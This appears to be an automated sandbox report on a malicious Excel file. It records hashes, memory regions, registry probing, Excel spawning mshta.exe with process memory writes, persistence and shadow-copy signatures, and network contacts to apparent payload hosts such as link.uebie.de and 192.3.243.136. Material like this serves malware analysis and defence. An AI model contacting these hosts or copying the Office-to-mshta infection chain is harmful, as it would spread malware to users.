SHA512 e14f8c8f8881c11cdb2a31bec2e76329e4c164e28386217edfa1a27a433224e82e64437ab6e74db9a7b3124bdb6049d2eaf48c57a630c40970de92b171df5b8d

C:\Users\Admin\AppData\Local\Temp\tmp8527.tmp

MD5 0aa25a9c691c2e689c4f17106459c7dc
SHA1 56a993393f5d43a6cbb6464a552944422d35d128
SHA256 73d57db11e1eb896ec5b50416ee53af14a99a8d8a37f30a7a653d22664d6a507
SHA512 dd4ea3ee5ae49db8a5719a180a0c1e1314168eaabbaba2454d7aa64a03a3596d5a8b55fa7b4afe63c011f7a87f1f148cb9e3d9e619528556429029f5a3cfeadc

memory/108-89-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/108-103-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/108-100-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/108-99-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/108-97-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/108-95-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/108-93-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/108-91-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3063565911-2056067323-3330884624-1000\0f5007522459c86e95ffcc62f32308f1_de87a6d6-9d44-4942-9ec6-2be31b435411

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3063565911-2056067323-3330884624-1000\0f5007522459c86e95ffcc62f32308f1_de87a6d6-9d44-4942-9ec6-2be31b435411

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-19 02:01

Reported

2024-11-19 02:03

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

152s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\mshta.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2204 wrote to memory of 4168 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe
PID 2204 wrote to memory of 4168 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195.xls"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
FR 52.109.68.129:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.135.115:80 e6.o.lencr.org tcp
US 8.8.8.8:53 129.68.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 48.108.45.5.in-addr.arpa udp
US 8.8.8.8:53 168.245.100.95.in-addr.arpa udp
US 192.3.243.136:80 192.3.243.136 tcp
US 8.8.8.8:53 115.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 136.243.3.192.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 209.143.182.52.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 26.173.189.20.in-addr.arpa udp

Files

memory/2204-1-0x00007FFCDE7ED000-0x00007FFCDE7EE000-memory.dmp

memory/2204-0-0x00007FFC9E7D0000-0x00007FFC9E7E0000-memory.dmp

memory/2204-3-0x00007FFC9E7D0000-0x00007FFC9E7E0000-memory.dmp

memory/2204-5-0x00007FFC9E7D0000-0x00007FFC9E7E0000-memory.dmp

memory/2204-2-0x00007FFC9E7D0000-0x00007FFC9E7E0000-memory.dmp

memory/2204-4-0x00007FFC9E7D0000-0x00007FFC9E7E0000-memory.dmp

memory/2204-6-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-8-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-11-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-10-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-9-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-12-0x00007FFC9BE70000-0x00007FFC9BE80000-memory.dmp

memory/2204-7-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-13-0x00007FFC9BE70000-0x00007FFC9BE80000-memory.dmp

memory/2204-15-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-16-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-14-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-18-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-20-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-19-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-17-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/4168-38-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/4168-43-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/4168-44-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-46-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/2204-47-0x00007FFCDE7ED000-0x00007FFCDE7EE000-memory.dmp

memory/4168-51-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp

memory/4168-52-0x00007FF7DFF10000-0x00007FF7DFF18000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 d744c33069f8de762686ffbf38697618
SHA1 93e9a5b88ce1bc8ba65d1745b422e055b7dbd2a6
SHA256 8bede850cecee79ceee16b9e3962a9f32ea091fdaea88348a00c3adcfe840e32
SHA512 f3aa82ef84d6afb9c6afdc37ddcc16d645aec1c11160f189541c219085a92e52b3c4783e8047d6c9a594d22570f21970ea2c359ad2a47ec6ac0fa32206fdf008